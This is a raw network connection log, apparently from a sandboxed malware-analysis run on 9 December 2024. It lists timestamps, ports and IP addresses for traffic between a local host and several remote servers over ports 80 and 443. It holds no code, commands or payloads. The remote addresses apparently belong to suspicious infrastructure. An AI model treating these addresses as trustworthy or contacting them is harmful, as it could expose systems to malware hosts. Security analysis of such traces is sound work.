Dec 9, 2024 21:09:19.722851038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.723572969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.723622084 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.723689079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.723736048 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.724592924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.724633932 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.724646091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.724672079 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.725565910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.725610018 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.726001024 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.726479053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.726491928 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.726526022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.726563931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.727339983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.727395058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.727559090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.727596045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.728075027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.728085041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.728121042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.728144884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.728816986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.728903055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.728910923 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.728946924 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.729695082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.729729891 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.729871035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.729914904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.730544090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.730587006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.730633020 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.730670929 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.731386900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.731458902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.731498957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.732351065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.732393980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.732445002 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.732484102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.733135939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.733185053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.733200073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.733237982 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.734030962 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.734078884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.734108925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.734148026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.735068083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.735155106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.735203028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.735872030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.735923052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.735955000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.735996962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.736599922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.736641884 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.736799955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.736841917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.737472057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.737517118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.737593889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.737632990 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.738305092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.738408089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.738445997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.739223003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.739264011 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.739319086 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.739355087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.740077019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.740117073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.740118027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.740151882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.740953922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.740994930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.741033077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.741816044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.741858006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.741858006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.741897106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.742686033 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.742724895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.742753983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.742789030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.743530989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.743591070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.743654013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.743693113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.744525909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.744564056 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.744596004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.744631052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.745445013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.745487928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.745508909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.745544910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.746165991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.746217012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.746248007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.746280909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.747060061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.747159958 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.747203112 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.747911930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.747953892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.747980118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.748022079 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.748728991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.748769045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.748795986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.748835087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.749604940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.749614954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.749643087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.749655962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.896917105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.897022963 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.897205114 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.897341967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.897397041 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.897425890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.897485971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.898252010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.898300886 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.898374081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.898416996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.899085045 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.899132013 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.899322987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.899367094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.899380922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.899419069 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.900233030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.900283098 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.900336027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.900382042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.901088953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.901135921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.901170015 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.901215076 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.901987076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.902033091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.902112961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.902157068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.902874947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.902959108 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.903001070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.903762102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.903837919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.903887033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.904599905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.904649019 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.904824018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.904867887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.905472994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.905539036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.905570030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.905606985 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.906306028 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.906394005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.906438112 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.907263994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.907308102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.907337904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.907377005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.908062935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.908102989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.908238888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.908277035 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.908934116 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.908987999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.909044981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.909785986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.909837008 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.909943104 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.909986973 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.910654068 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.910698891 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.910725117 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.910763025 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.911555052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.911607027 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.911663055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.911709070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.912364006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.912415028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.912467957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.912508965 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.913264036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.913307905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.913336992 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.913382053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.914176941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.914228916 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.914259911 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.914298058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.915036917 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.915065050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.915116072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.915936947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.915992975 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.915997982 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.916034937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.916707993 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.916759968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.916763067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.916798115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.917584896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.917648077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.917678118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.917721987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.918474913 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.918592930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.918637037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.919404030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.919534922 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.919581890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.920321941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.920382023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.920388937 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.920420885 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.921062946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.921129942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.921165943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.922204971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.922245979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.922326088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.922367096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:20.216454029 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:20.216536045 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:20.217981100 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:20.217993021 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:20.218250036 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:20.219494104 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:20.219608068 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:20.219639063 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:20.219791889 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:20.267338037 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:21.248073101 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:21.248167038 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:21.248317957 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:21.250420094 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:21.250443935 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:21.565195084 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:21.565222025 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:21.565299988 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:21.565588951 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:21.565604925 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.284420967 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:22.284722090 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:22.404278994 CET	80	49892	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:22.404378891 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:22.404504061 CET	80	49868	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:22.404563904 CET	49868	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:22.736102104 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:22.780230045 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.780335903 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:22.798926115 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:22.798943043 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.799194098 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.800673008 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:22.800920010 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:22.800956011 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.801017046 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:22.801027060 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:22.855416059 CET	80	49892	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:23.695744991 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:23.695838928 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:23.695988894 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:23.706846952 CET	49891	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:23.706857920 CET	443	49891	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:23.795254946 CET	80	49892	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:23.795327902 CET	49892	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:23.799025059 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:23.918344975 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:23.918416023 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:23.919569969 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:24.038861990 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:24.131336927 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:24.131354094 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:24.131464005 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:24.131867886 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:24.131880045 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:25.259911060 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260013103 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260020018 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260042906 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260054111 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260062933 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260088921 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260220051 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260253906 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260294914 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260307074 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260332108 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260348082 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260514021 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260525942 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260544062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.260555029 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260569096 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.260579109 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.344347000 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:25.344458103 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:25.379548073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.379597902 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.379684925 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.379720926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.455559015 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:25.455570936 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:25.455873966 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:25.468091011 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:25.468425035 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:25.468430042 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:25.501085043 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.501138926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.501311064 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.501352072 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.505053997 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.505096912 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.505315065 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.505351067 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.512525082 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.512568951 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.515294075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.515353918 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.515507936 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.515563011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.523016930 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.523080111 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.523124933 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.523163080 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.530522108 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.530572891 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:25.530635118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:25.530673027 CET	49898	80	192.168.2.6	185.215.113.16
